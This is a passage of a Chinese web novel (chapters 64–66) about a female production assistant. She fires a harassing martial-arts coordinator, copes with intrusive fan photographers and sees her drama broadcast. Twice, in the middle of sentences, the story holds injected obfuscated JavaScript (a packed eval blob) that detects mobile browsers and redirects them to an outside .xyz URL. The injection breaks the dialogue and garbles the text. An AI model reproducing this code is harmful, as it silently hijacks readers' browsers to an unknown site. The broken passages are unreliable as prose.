自从那次在粉丝群里说过话,祁宁再没空降过,一心扎在角色里。个别粉丝脱粉,转发他的黑历史,杨树还担心过,但他开始不理会了,因为他发现有人真能做到丝毫不在意粉丝,比如唐问羽。 唐问羽每次发完微博和INS,就去玩她的冰鞋了。祁宁助理夸她潇洒,她说长情的粉丝少,有实力才是铁饭碗,她发上页面只是在展示生活里的小开心,让喜欢她的人看到笑一笑,自己也笑一笑,如此而已。 《西北年轻人》老演员多,祁宁时常听他们喝酒谈天。前几年IP很火热,但凡有点名气的爱豆都被拉来演戏,抢占了不少实力派的资源,但大浪淘沙,市场趋于回归良性。 老演员们说,现实主义的春天来了,演员们的春天也来了,以祁宁的外在条件和资质,只要把演技打磨得好一点,男一号不用愁,传统影视公司挑主演,还是会挑戏不错的。 老演员们和唐问羽身上都有太多闪光点,祁宁学到了很多,那些让他情绪绷紧的黑历史,他也在学习放下,也许,将来他做到靠演技就能获得资源的程度,黑历史都能当成笑谈。 好剧组让人受益,是全方位的,杨树听得眉飞色舞。阿福也跟她说过祁宁,收工之后,他会帮照明师傅抬灯架子,有些杂活也顺手做了,剧组的人都很喜欢他,都说以后有资源会喊上他。 其实从《天作之合》到现在,祁宁一直都会默默干活,但他都被制片人喊上“仙儿”了,更多夸奖杨树都先藏着掖着,等他下次情绪崩盘再说。 祁宁的车在望,杨树告别,祁宁问:“你生日怎么过?” 杨树说:“在组里过啊,还能怎样?” 祁宁再问:“秦老师来看你吗?” 秦母的手术期是7月底,杨树的生日是8月初,秦朗必然来不了,她没做声,祁宁说:“生日都不来,不分手留着过年吗?” 杨树瞪他,他做掌嘴状:“我错了。” 他特地问起,杨树很警惕:“不准送礼物。” 祁宁哦了一声,杨树想到他杀青也是那时候,警告道:“别来啊,琢磨你的软科幻去。” 祁宁表情淡然:“哦,我在横店买房子了,杀青了就回家琢磨剧本。” 杨树又瞪他:“滚回北京!” 祁宁似笑非笑:“杨树,你是不是忘了,我是个刚演上男一号的人,片酬大头还得给长夜,我穷得只有几身值钱的行头,买不起北京的房子,我回家是回这里,你也知道,我本身就是浙江人。” 杨树不想再扯闲篇,急着要走:“你爱干嘛干嘛。” 祁宁执意问:“秦老师真不来吗?” 杨树只得答道:“来不了,他妈已经没法自己走路了,他走不开。” 祁宁愣了一下:“那你们只能异地恋了。” 杨树云淡风轻道:“异地恋怎么了,就当他派驻国外。牛郎织女几千年都过来了,我们也行。” 祁宁笑,忽然没头没脑地说:“杨树,你说得对,我是不该急的。没去认干爹就好了。” 杨树挥挥手:“知道了就行了,路上当心。” 祁宁长叹一口气,杨树小跑着离开,他上车,透过车窗看她的背影,有些人装傻水平一流。 杨树忙到晚上快11点才歇工,手机上,祁宁晚上8点多发了信息:“安全抵达白云机场。” 杨树本不打算回复,却兀自想起祁宁临别时那充满痛悔的一叹。认干爹一事,连她都不会再提,他何苦还记着?她趴在床上,给他留言:“往事就让它彻底过去吧,日子是要向前看的。这个社会,不是按我们的心愿运转的,没什么是一定能得到的,努力不行,钻营可能也不行,从今以后放松一点,把名利心变成平常心。有名利心很正常,但别把自己整个搭进去。” 有人收到信息,乐得躺床上对着虚空踢腿,原来有些人不是装傻,感情方面是真傻,听不出弦外之音,她生日,他去定了。 64. 第 64 章 《北宋宫事》剧本还没写完,方雯跟组写,单明玉和B组导演每天放工后,喊上黎俏聊第二天拍摄的戏。 黎俏没参加之前的剧本围读会,她习惯头一天晚上预演第二天的戏,单明玉和她一起推敲每句台词,定下用怎样的方式说出来,这样正式开拍时,剧本和台词就不用再经历大的调整。 不论多晚,大会议室都亮着灯,烟雾缭绕,但每天清晨5点半,单明玉准时从酒店出发,跑步去片场,杨树算算时间,她每天最多睡五个小时。 拍《战朝阳》的时候,杨树就听说单明玉睡眠特别少,所以在她的组里,再不抽烟的人都抽上了,不然根本扛不住。进组后,杨树发现单明玉永远在看素材,看片子,给演员讲戏,事情一个接一个干,还永远神采奕奕。 圈里的女导演很少,做到单明玉这种能主导大剧的更少,熊好好感慨她能成功,除了高度自律,精力旺盛也是绝招,别人一天顶多工作12小时,她能工作16小时以上。 杨树花了一天时间做实验,晚上12点睡觉,早上5点起床,但脑子到下午就晕得转不动,谁说话她都得反应一下。秦朗狠狠嘲笑她,有的人睡眠少是基因作用,像她这种到点儿就犯困的,还是走一步一个脚印的路线吧。 美术团队做室内布置,参考了大量宋代园林,杨树每天协助道具组成员对当日拍摄地的道具和布局进行核对,每个细节都做到尽量符合史实和剧本里应有的场景,再忙些杂七杂八的琐事,收工后,她回房间还得跟编剧们聊剧本。后面的剧本质量不走偏,才对得起每个为之付出的人。 有天杨树刚躺下,微信上,武术指导问:“在吗?” 杨树以为武指找她谈公事,回个表情符,但在她回复的同时,武指发来一张下..体照。 杨树的困意一下子就跑了,恼得坐起来,回道:“□□短小找医生问诊去啊,找我干嘛?” 不等武指反应,杨树拉黑了他。两人平时来往仅限于公事,交谈不多,杨树想不出这人怎么盯上了她,她猜可能他只是广泛撒网而已。 等熊好好从卫生间出来,杨树的猜测得以证实。熊好好每天都得给组里的人发通告单,有次她刚发到四楼,武指和几个武行人员出去喝酒,她打个招呼就算,没想到过了一个多小时,武指给她发信息,让她去某某烤肉店。 “我下一个戏定了,他们缺制片助理,我推荐你了,你过来跟制片认识一下呗。”熊好好被这句话蛊惑了,换好衣服去烤肉店,但走进去一看,全是组里的人。 熊好好想走,武指责备她来晚了,制片刚走,但不要紧,已经把她名字报上去了,下次喊她,她得快点来,今天既然来了,就坐下吃点东西,女孩子爱吃鸡翅,刚才给她点上了。 熊好好抹不开脸,没走。饭桌上,没人再提到介绍资源,武指一会儿指挥她跟这个哥那个哥碰一个,一会儿要给她相面,看她几时红鸾星动。 熊好好在学校里都没喝过几次酒,担心出丑,不敢喝酒,武指教育她,入社会了就得学着放开点,该懂的规矩得懂,不然在职场上混不开,熊好好喏喏地应着,但啤酒实在不好喝,不管武指怎么劝,她只喝了两杯。 熊好好回来后,杨树睡下了,当时两人还不熟,她没说起这件事。几天后,武指又找她陪酒,她说已经睡了,武指突然发来下..体照。 熊好好直犯恶心,但谁都没说,也不敢骂武指,他可是练家子。此时听杨树说起,她的恶心感再度翻腾起来,连喝几口水。 杨树心里有点难受,她曾经也差点在不知不觉中给人陪酒。当年,在杂志社工作时,她23岁,涉世未深,有个深夜,广告部的经理打来电话,他说跟几个老板在附近吃饭,让杨树赶紧过去,老板们要在杂志封底和封二投放广告,想找个编辑谈谈相关软文。 杨树一看晚上10点半了,就给爸爸说了一声。她孤身来京,爸爸不放心,跟她约定过,晚上十点还没回家,一定要随时报备。 爸爸立即打电话,让杨树不要去,他问:“那个男的是不是跟你说,这是机会,对你事业有帮助?” 杨树说是,爸爸说:“对事业能有啥帮助啊,你去陪吃了一顿饭,敬了几杯酒,他们就让你当主编吗?当主编又怎样?他们临时喊个男的去,可能是纯喝酒和谈事,喊个女的去,那就是想添盘菜了,以后别理这种人。” 熊好好21岁,大专刚毕业,杨树完全能想象那天的情形,武指一伙人喝酒喝嗨了,一想没女人听我们吹牛啊,脑门一拍,刚才不是看到小统筹了吗,就她了。 既然武指是惯犯,组里肯定还有像熊好好这种恶心反胃但怯于反击的人,杨树第二天专程去了B组那边。 武戏都在B组,武指天天都在,见着杨树了,没事人一样。杨树着意观察他,他对女人们的动手动脚摆在明面上,但总是笑嘻嘻的,以随性的大男人风格遮盖过去,你若较真,他就扮无辜了:“想多了想多了,我不拘小节惯了,没把妹妹当外人,以后注意。” 女人们躲开的有之,隐忍的有之,杨树暗想害群之马不可留,那么,首先得在不走漏风声的情况下,找到替换他的人。剧组每天都在花钱,不能让他在新人就位之前就撂挑子。 杨树找制片主任查看武指跟组里签的劳务协议,再私下托信得过的朋友们分头打听,很快有了反馈,朱青托人物色到一人,酬劳标准比这位略高,下个月初可进组。 男主角林礼璋本月底到位,他演的是南征北战的宋太宗,武戏较多,杨树找熊好好商量调整通告单,尽量让新人和林礼璋的武戏排到一起,然后再向姚澈汇报工作。换武指会增加一笔费用,她不能不请示。 朱青部门有部生活剧6月初就开机了,制片人也是姚澈,她在北京和横店两头飞,杨树讲完,她说:“开了吧。” 杨树很兴奋,总在哭穷的姚澈从不让她失望,她还提醒杨树,以现武指的德性,被开除后他会报复剧组,把熟人都带走,所以不能让新武指单刀赴会,得多纠集一点人马。 姚澈在新武指的酬劳上多加了三万块钱,他提前来了。制片主任跟他签完协议,杨树扭头就喊来现武指,让他结清费用,马上走人,现武指玩世不恭地问:“凭什么?” 杨树冷笑:“要不要我把你的牙签照打印出来,剧组人手一份?” 此人说:“喝多了,手贱,别当真。” 杨树重重拍桌子:“下次骚扰别人,最好掂量一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091470|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,滚。” 此人怒骂杨树狐假虎威,滥用职权,杨树眯起眼看他:“全组的人都买了保险,我也在内,你最好别报复我,不然我把截图发到网上去,找个营销公司花不了几个钱。” 此人在他的圈子里有威望,手一挥,带走了十来号武行人员,但新武指的手下立刻补位成功,半天时间都没耽误,做到武术指导,他手头攒了一票随叫随到的弟兄。 武指换了人,单明玉自然会过问,杨树照实说了,单明玉夸她干得好,扭脸就把B组导演拎过来臭骂。组里有这种败类,女人们深受其苦,她一个导演,为什么视而不见?以前没地位,忍一忍无可厚非,如今地位比男人高,还要跪着看他吗?! B组导演是单明玉的徒弟,从摄影做起,今年39岁,《北宋宫事》是她第一次执导,之前一直是单明玉的摄影师。前任武指行事风格跟个帮派头子似的,以B组导演温声细语的性格,压不住他。 在《西北年轻人》剧组时,杨树就观察到,混这一行,不强硬不行。潘亚勤是她介绍给钱一诺的,对她礼让三分,但每次吃饭时,除杨树之外的女性,都是端茶倒水的。 潘亚勤和老演员们有时想展示亲和,会承诺给女人们介绍对象,但对男人则是那啥啥戏适合你,我给老哥打个电话。杨树当时就跟朱青感叹,社会权力结构由男人把持,在你眼里再没能力的男人,都比你具备性别优势,更易得到提携机会,但部分女性却把其他女性当成竞争对手和假想敌,用男性审美的标准来评判你,跟你较劲。 杨树想策划一个讲述女性相互扶持的选题,但《北宋宫事》事务繁忙,她把选题交给朱青操作。策划案初稿很快出来,身为女性却厌女而不自知,被刻画得入木三分,但终究有一些女性懂得跳出被男性凝视和挑选的窠臼,守望相助,为同类带来力量,杨树对剧本大纲充满期待。 7月26日,《北宋宫事》拍摄半个月之际,男主角林礼璋抵达横店,他穿了一件极清爽的深蓝色衬衫,杨树问了品牌,找代购订了一件,想送给秦朗。秦母几天后就进手术室了,但她是真的走不开。 林礼璋进组拍戏第一天,他的武术替身毁约了。毁约金相较酬劳并不算低,但武替坚决走人,被制片主任逼问,他才说前任武指于他有知遇之恩,却被剧组弃之如敝履,他无能,没法为恩师讨个公道,可他至少能做到不跟剧组同流合污。 杨树牙痒,前任武指果然给剧组来了个下马威。最近横店多家剧组驻扎,武行人员很抢手,多花点钱,虽然能找到人,但给林礼璋找个武替,并不那么容易。 传统武术有很多腾空旋踢动作,练家子个头往往不高,以精干为主,个子高的人重心高,底盘不稳,协调速度也难以适应,林礼璋1米84,肩宽腿长,当初给他挑武替,颇费了点周折。 目前这位武替身高1米81,体型上跟林礼璋相似,不易穿帮,而且是他是牧民后代,自幼骑马,马术方面身手非常漂亮,林礼璋的战争戏他得挑大梁。 武替利索地交了违约金走人,像他这样的人,出了大门就能进新剧组,对前任武指讲义气,他讲得起。难题当前,副导演发出求援令,熊好好不得不再次修改通告,把武戏往后放。 65. 第 65 章 为林礼璋寻找新武替并不顺利,身型和身手都适合的人不是没有,但当红不当红的男明星都需要他们,没人腾得出空。 杨树转发了副导演的求援令,祁宁问清楚情况,毛遂自荐:“实在不行我替一下吧,我会骑马,还会打架。” 杨树爆笑,祁宁很认真地算账,《西北年轻人》杀青和软科幻言情剧开机之间,他有十来天休息时间,能集中把林礼璋的武戏拍完,他演过废太子,对打斗戏和战争戏都有点经验。杨树怒了:“你能演男一号了,为什么要给他当武替?!” 祁宁说:“你跟我说的,不要计较番位和角色大小。” 杨树语塞,话虽如此,但让他给林礼璋当武替不是个事。这一行的人被名利地位裹挟得很深,黎俏每晚在连锁酒店跟导演们聊戏聊到夜深,但照样驱车去五星级酒店住,到了一定的位置,架势是不能倒的。 祁宁以为杨树默许了,询问林礼璋的武戏大概有多少场,他好安排时间,杨树大怒:“祁宁你过来,看我不打断你的腿。” 电话那头,祁宁停顿一下,声音里带着笑意:“为什么啊?” 杨树说:“他凭什么压你一头?” “我很高兴。”祁宁这么想着,就这么说出来了,他想他是越来越狡猾了,这可有点不好,不过杨树真答应了,就能多见见面,也挺好。 几年前,林礼璋拍古装剧的时候,从马背上摔落,颌骨骨折,做了整形手术,落了疤,连精修图都能看出一点痕迹,他落下心理阴影,跟姚澈签约时要求配备马替和武替。 找了几天都没找到新的,B组导演建议删掉若干武戏,单明玉一顿臭骂:“你是导演,你得解决问题,不是消灭问题。” 杨树心说翻翻史实就知道了,一个谥号是“神功圣德文武皇帝”的帝王,武戏分量不能太轻。会议开完,单明玉下了决断:“我去找小林谈,让他自己上,不能惯着他。” 林礼璋是一线,他本人看似温和,实则很强势,团队也不好搞,熊好好持悲观态度,林礼璋给自己投了重保,出入带两个保镖,这么惜命如金,怎么肯按导演的来? 就冲单明玉对《战朝阳》流量明星的劲儿,杨树很看好她,果然,第二天上午,单明玉就让助理找熊好好了:“武戏照排,该怎样就怎样。” 杨树卷走了熊好好的赌资一百块,立刻买了黑虎虾,她很爱吃熊好好做的虾粥。 制片主任透露,单明玉和林礼璋相识多年,给他面子,谈话时没第三人在场,但应该是发了脾气。谈完后,单明玉出来跟B组导演说:“一个演员,不能完完整整塑造角色,声音是别人的,背影是别人的,身手也是别人的,拿那么多钱,还让所有人配合他,他配吗?” 那一定是场艰苦的谈话,但事情仍然较为妥善地解决了:在横店的武戏都由林礼璋亲自完成,武术指导为他量身定做几套动作,精简招数,靠后期剪辑加以辅助;剧组10月份转场去河北草原拍摄宋太宗灭北汉的战争戏,副导演等人在这期间继续寻找替身,但林礼璋得作好自己上阵的心理准备。 组里有两个多月时间找人,众人的压迫感没那么强了。姚澈从北京飞来,她感慨用大咖的坏处就在这里,换个不那么铁腕的导演,编剧就得一场场删戏了,但不用大咖不行,投资不好拉,平台不愿意买,主流观众不爱看。 杨树用开玩笑的口吻,把祁宁主动提出救场一事说了出来,姚澈还记得他,若有所思:“祁仙儿多高?” “1米87。”杨树默念阿弥陀佛,姚澈可别真认可了这个方案吧?好在姚澈聊起了下一阶段的预算,杨树默然喝茶,洗耳恭听。 主角团队里,林礼璋是演技最薄弱的一个,他演偶像剧的王孙公子还行,演宋太宗中规中矩,不出戏,但也不动人,他自己也明白,每天放工就找单明玉开小灶。 林礼璋年轻时演过几个人气高的角色,十几年下来,跟粉丝们培养出情分。粉丝们来探班,对他很体贴,除了送礼物、合照,就是集体催婚。 林礼璋红得早,早就实现财务自由,名气也不缺,这几年以享受生活为主。粉丝们都说,林礼璋肯拍戏就是在发福利,他们所求不多,只盼林礼璋能早点告别单身,他的朋友们都结婚了,就他还悠哉哉当个钻石王老五,不像话。 粉丝们都不再年轻,纷纷表示将来林礼璋宣布结婚,他们只奉上真心祝福,绝不会寻死觅活。林礼璋温文尔雅,欠身应了:“缘分还没到,我会多努力。” 道具组有个小助理是林礼璋粉丝,经常拿着他的照片和卡片找他签名,杨树瞧见了几次。小助理一签一大摞,她说同好所托,推不脱,林礼璋很有偶像自觉,在小工作人员面前并不表露反感情绪,但私下嘀咕了一句:“朋友也太多了点,还都是T0签。” 有次杨树寄快递,小助理也在。一张TO签对应一份快递,杨树和小助理各自填单,无意扫了几眼,有几个很可爱的网名,诸如“兔子爱吃小韭菜”,杨树没有刻意去记,但是记住了。 张程程也找杨树讨要过林礼璋的TO签,但她很克制,只给表姐的同事要过一张。她说粉丝们都想得到来自偶像指名道姓的祝福,如果有人能帮她弄到白杨的T0签,花1千块她也愿意。 杨树一愣,随手查了查兔子爱吃小韭菜这一ID,该网友晒了TO签,被粉丝们艳羡,她得意说找了高人,只花了6百块,林礼璋给她写了12个字,是她人生得到最好的祝福。 12个字,卖了6百块。杨树想起那一摞摞的TO签,翻出小助理交上来的道具表格,然后去走访几家道具公司,对方语焉不详,但小助理吃回扣的可能性很大。 《战朝阳》已定档,姚澈在北京和主演们做宣传,工作排得很密集,杨树问她该怎么处理,姚澈按了电话:“你是制片助理,这点事还用问我?” 小钱都贪的人,不能用,杨树找道具组的主管谈了话,小助理被劝退了,随后,网上疯传数张《北宋宫事》路透照片。 从《天作之合》起,杨树接触到的所有剧组都有很严格的保密规定,工作中的照片统一由拍摄副导演负责,一旦泄露,处罚很高。杨树盯着这些路透照片看了又看,清晰度不太高,会是哪个内部人员所为?她回忆起照片上这天的戏份,又觉得不像是内部出了问题,张程程点醒了她:“会不会是站姐干的?我们家白杨的戏,站姐总能拍到。” 站姐是从韩国饭圈流行而来的词汇,指的是拿着高级摄影器材,拍照能力不亚于专业记者,而且修图能力很强的一批人,以女性居多。杨树带人巡查,发现美术搭的外景被抠得全是洞,那些剧透照片多半是从此处拍到的。 众人做了调整,出外景的时候,外围都用绿布围起来,然而仍然不能阻挡站姐们蹲守的热情,她们窝在树丛里,像在打埋伏一样,杨树和几个男人去驱逐她们,刚劝走,转眼又都窜出来了。 剧组这几处外景不是热门拍摄地,杨树索性喊上一人,咨询她们是怎么找来的,站姐说是找人买的,杨树问:“这也能买?” 站姐说从明星航班号到剧组拍摄场地,所有资讯都能买卖,杨树问她是找谁买的,站姐拒绝透露,她得保护上家。 站姐们每天都来,还闹闹喳喳,很影响现场拍摄,导演和演员们很头疼。杨树去隔壁剧组遛弯,他们也深受其苦,虽然各种防范,但站姐们既坚强又骁勇,漏夜爬高坡,只为拍摄剧组动态。 入夜以后,山坡上密密麻麻,全是代拍,身为制片助理,杨树不得不带着人爬山赶人。 站姐是这两年才流行起来,有流量明星,自然就有协助制造流量之人,张程程分析,《北宋宫事》被站姐围堵,起因是用了林礼璋这位偶像出身的明星。 林礼璋没来的那半个月,剧组风平浪静,但一线男明星的待遇不一样,站姐倾巢而出,赶之不绝。林礼璋找制片组投诉,要求务必驱散站姐,他从酒店出发来片场,发觉房车被安了定位器,助理去跟人交涉,但对方置之不理,一踩油门,差点出人命。 站姐们无孔不入,出了事咬上剧组,剧组会面临很大的舆论压力,必须尽快阻止。杨树和制片主任协商后,发出一篇声明,请求代拍们注意人身安全,也请他们给予剧组安静的拍摄空间,不要打扰演员明星的生活。 几个兄弟剧组先后转发了声明,但歪风刹不住,又一处外景地被人打了大洞小洞,站姐们费尽心思四处埋伏。 剧组严防死守禁止路拍,但站姐们总能第一时间咬住剧组的新动向,制片组一筹莫展,林礼璋是组里最担忧的一个。 剧组有个女N号是林礼璋介绍来的,算是不公开的阶段性女朋友,互相解决需求。开机没多久,组里几个小配角也和林礼璋勾兑上了,在片场里也忍不住调笑几句,若被站姐拍到,贻害无穷。 林礼璋桃花朵朵,剧组的男人都艳羡,他去上厕所,几个场工跟了去,出来甚是叹服,难怪他能红成这样。 林礼璋是一线,女人们都觉得占了便宜,是以保持了稳定和谐的局面。熊好好对林礼璋很不齿,骂道:“私生活糜烂成这样,还对外卖单身人设。” “粉丝们愿意相信啊。”杨树含笑,帅哥美女拥有的追求者多,又在名利场上混,拥有的性资源必然很多,多少人为了得到他们,前赴后继付出金钱自尊和时间,他们很难不随心所欲。 转天,林礼璋的助理火急火燎把制片主任和制片助理杨树都喊去,头天晚上,林礼璋在一家私房菜餐厅吃饭,刚想去卫生间,走廊冲出十几个人,扛着长枪短炮对着他的脸狂拍。 那家私房菜地方很不好找,门面还小,林礼璋印象里没跟谁说过,他助理想了一圈,林礼璋上周订位时已放工,只有道具组的工作人员还在收拾东西。杨树心念一动,那个被开除的小助理就是道具组的,她合理怀疑,小助理被开除,出于泄愤,把剧组拍摄通告卖给别人,所以剧组防不胜防。 拍摄之初,统筹会预排全部拍摄场次,做出详细表格贴在会议室里,每天拍完的量都会用记号笔划掉,以便制片组清晰地看进度。杨树招来道具组的人,知会了这件事,再安排几个人员在外围巡查,道具组们也得抽出两人,放工后参与巡查,免得影响拍摄。 剧组升级了防范措施,站姐们似乎消停了。虽然不能确定是否是那个道具小助理所为,但杨树一想起来就闹心,上次开掉武术指导,也给剧组惹了个麻烦,她疑心自己做错了。小助理敛了点小财不假,但人至察则无徒,这行是通力合作,她眼睛里揉不得沙子,却给所有人添了乱。 秦朗说:“可你是个姑息养奸的人吗?你是这样的人,就只会这样行事,不管你怎么想,我觉得我家老头子做事总是对的。” 《老头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091471|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子做事总是对的》是安徒生童话里很可爱的一篇,杨树自封为老头子,花言巧语地夸了自家老婆子,他永远是她的定海神针,镇得住她内心的翻江倒海。秦朗听得心坎甜:“把我藏在耳朵里,走到哪儿,就把我带到哪儿。” 他被困于那一方小天地里了。杨树心酸,开启一罐白桃味的鸡尾酒喝了,去找剧照师发布若干高清剧照,以飨各路粉丝。 粉丝们欢天喜地,路透照片跟剧组提供的没得比,但站姐岂可被人断了财路,直接开来一辆升降机,站在高处对剧组居高临下,力求拍到独家照片。 升降机轰隆隆而来,剧组又没法清静了,再看隔壁剧组,除了升降机,还有挖掘机,有的站姐甚至站在挖掘机斗里拍摄。杨树仰头望,那么点地方,站了那么多人,十分危险,她拿个扩音喇叭喊话,但没人听。 工作人员去驱赶,但升降机不肯开走。下午的时候,有个站姐摔下来了,人当场就起不来,可能是小腿骨折,杨树和熊好好把站姐送去剧组,站姐哭着要见偶像林礼璋,杨树扳起脸:“你不影响我们正常拍摄,杀青了就能见到他。” 站姐把打了石膏的小腿照片发上网,哭诉自己痴心守候在剧组外,只想等偶像放工,远远看一眼,却被剧组粗暴驱赶,伤成这样。她控诉《北宋宫事》剧组欺负弱小,随意践踏粉丝真心:“我们只是想见见偶像,为什么要被这样对待?” 各家粉丝都很有同理心,纷纷转发,指责《北宋宫事》欺负小女孩。众人助力,一举把这条微博推上了热搜,连带林礼璋风评被害,他的人设是谦谦君子,岂可任由粉丝被人欺负,难道不出来说句话? 林礼璋助理找制片主任问:“不然我们送几张签名照吧,让她赶紧删了。” 制片主任点开站姐微博,林礼璋哑然。这人并不是他的粉丝,她拍剧组的路透是为了敛财,林礼璋几张签名照填不饱她。 杨树以《北宋宫事》官方微博的身份,发布了一条视频,视频详细记录了站姐站在升降机上拍路透照,直到被人推搡跌下去的过程,把站姐送去医院,代缴医药费,也都是《北宋宫事》剧组所为,相关缴费凭证一并奉上。 林礼璋转发了声明:“承蒙大家抬爱,但是不能再采取这种危险方法,希望你们都注意人身安全,我会用作品回报你们。” 舆论被扭转过来了,都骂站姐贼喊捉贼,损害剧组利益。林礼璋助理夸杨树留了一手,杨树苦笑,剧组每个人都忙,哪有那么多人手专程盯站姐,前几天,她跟秦朗吐槽,秦朗提议启用无人机场内巡逻,协助剧组寻找偷拍的人藏身之地,找到了就让场记去轰人。真相是无人机拍到的。 风波平息,剧组终于又能正常拍摄,尽管每天仍要安排专人应付站姐。姚澈回到剧组,称赞杨树:“这行就得扛事。” 杨树有点懊恼:“可能我开除那个助理时没注意方式方法,让她怀恨,才把通告卖了。” 姚澈淡淡道:“那样的人,总能找到害人的理由。我们做事不要怕得罪人,得罪了就得罪了,太畏手畏脚成不了事。” 杨树跟秦朗视频时哇啦哇啦叫,她越来越喜欢姚澈了,连姚澈的男朋友她都爱屋及乌。 姚澈男朋友在《北宋宫事》饰演宋太宗第五子赵元杰,这位历史人物只活了31岁,是个藏书家,身上没有太强的戏剧性,编剧对他着墨不多。定角时,杨树还纳闷过,以姚澈的制片人身份,她明明可以给男朋友选个人设好的角色来演。进组后,杨树观摩了几场戏,她得说,中正平和的人设,大概就得这样的人来演。 公司传闻里,姚澈男朋友是她找的小白脸,小白脸27岁,往书桌前一站,挥毫写下行云流水的字迹,杨树站得稍远看过去,一个闲适散淡的皇子跃然眼前。 男朋友本人在演员里不算很帅,但举手投足有着专业人士的清正感,镜头给了他的书法一组特写,杨树以为是他在描红,等美术改景时,她才发现是演员自己写的。 史书称赵元杰“性好学,善属词,工草、隶、飞白书”,杨树跟制片主任慨叹姚澈男朋友敬业,这么个小角色,他都提前做功课,一笔一划运笔如飞。制片主任大笑,他说此人在表演上没有野心,姚澈的戏有合适的小角色,就抓他来演一演,其余时候他就在家写写画画,有时去自己投资的西餐厅试试菜,再健健身。 练就这样一笔好字,姚澈男朋友花了7年。他考上戏剧学院当年,在表演课上意识到自己缺乏天分,只适合演点扁平人设,但这种人设谁都能演,他出不了头,于是想转行做幕后。 大学二年级,男朋友结识了一个美术指导,他十分喜爱对方的书法——很多剧组都有精于书画的美术人员,他报了培训班,像个美术生一样沉迷于丹青,7年后,《北宋宫事》所涉及到的文书都由他一手包办。 宋太宗好读书,“开卷有益”的典故即来源于他,他还善书飞白体,36岁的林礼璋沾上胡须演爹,27岁的皇子兼任他的手替。但皇子看上去心平气和,下了戏跟林礼璋聊几句,再去跟美术组切磋,杨树有时在小厨房里碰到他,他总是微笑着跟她谈谈天。 在苦水时,《西北年轻人》编剧宋琳说,傻子才跟艺人来真的,杨树想到这席话,不由一笑。偏见无处不在,像姚澈男朋友这种温和恬淡的艺人,跟他来真的又何妨?一个人是不是良配,不是按职业界定的。 66. 第 66 章 剧组全员团结敬业,杨树没一刻放松过,秦母的手术一天比一天临近,她却走不开,忧虑得失眠。 有天杨树和姚澈去办事,路过拍摄《天作之合》驻扎的小酒店,她摇下车窗,探头去看。曾经和秦朗在天台喝酒,距今不足三年,却恍如隔世。 姚澈看出杨树惆怅,但什么都没问,送了她几瓶好酒,精神状态不佳的人,喝几口烈酒好入眠。 秦母手术当天,杨树揪心揪肺,和秦朗保持通讯,她在剧组工作很机动,总在跑来跑去,没办法时刻和秦朗通话,但秦朗只需要她在,听些动静声都好。 手术成功,秦朗哽声说:“宝宝,我妈熬过去了。” 杨树去卫生间抹眼泪,秦朗跟她道歉,母亲还得在医院待上一阵子,下个月杨树生日,他不能赶到横店为她庆生了。 杨树说:“那就陪我看《战朝阳》吧,多贡献一个点击率。” 8月2日,《战朝阳》播出,先在夏停所在卫视的晚间10点档播出,两家视频网站比它晚两小时。 剧本写了24集,成片是30集,几次审查后,剪掉了2集多,但真正播放出来是26集,卫视差点不买,集数太短,热度刚起来就播完了,不方便他们招商。 最后的精剪是单明玉亲自操刀的,不必要的情节和过场戏都剪了。姚澈半开玩笑地嗔怪单明玉让她少赚了2集的钱,但开播第一晚就收到了好效果,很多路人夸节奏明快、青春气质浓郁,但没几个人知道,第一集单明玉调整了几十遍。 杨父分秒不差地守在电视前,秦朗和父母在病房里观看,杨树美滋滋地喝酒吃蛋糕。丁盼兮和章嘉敏等好友也都不遗余力地帮忙吆喝,杨树为《战朝阳》付出多少心血,她们最清楚。 播到第二天,批评声多了起来,杨树边工作边见缝插针看评论。被骂得最多的是女性角色三观不正,杨树有点发懵,她策划这个戏的初衷,是写几个不怎么样的男性角色,但挨骂的是女人。 一部作品抛到市场上,被批评是常态,杨树很想知道哪里不好,下次改进,但一句三观不正似乎就能概括所有。她细看便发觉,骂女一号女二号三观不正的人,转身就对着男一号男二号发花痴。 丁盼兮搜罗了转发最高的十来条评论,都是男性角色的粉丝,他们嫌女性角色的戏份太多了,守了一晚上,他们那位流量明星一集出场只有20分钟。男二号前两集出场不多,他的粉丝更是不满。 流量片酬高,如果写成镶边角色,性价比太低,编剧当初应姚澈的要求,大幅度修改了剧本,让流量参与所有事件,编剧们改得呕心沥血,如今却被粉丝们咒骂“死全家”,杨树气得跳脚。 张程程转来一篇剧评,剧评人挖苦编剧是田园女权,挑动性别对立,但潜意识暴露了丑化女性的本质——女一号写成绿茶婊,女二号又蠢又憨,剧评人还拿这几年播出的女性群像剧举例,它们也有缺点,但写出了女性困境,是尊重女性的。 那几部剧很明显在讨好女性,但并不真正关怀女性。女性角色貌似能干,但成事全靠强有力的男性角色引领;女人手撕恶毒女同事,斗第三者,面目狰狞不死不休,男人们却都体贴多金,温恭贤良;独身主义者也就喊喊口号,被男人温情感化,走进婚姻……所谓两性议题全都隔靴搔痒,但都赚得盆满钵满。 杨树决心播完再发声,现在跳出来说话,很可能被人指责卖惨。任何作品走到顺利播出都不容易,但呈现出来若不是高质量,它曾有过的艰辛对这个世界来说毫无价值。 “《战朝阳》三观不正”被推上热门搜索,姚澈的助理认为是人为所致,流量粉丝很多,但搞出这么大的声响,说明有人在花钱。助理找人一问,原来女一号团队利用了粉丝非议,助添了几把大火,毕竟骂名也是名。 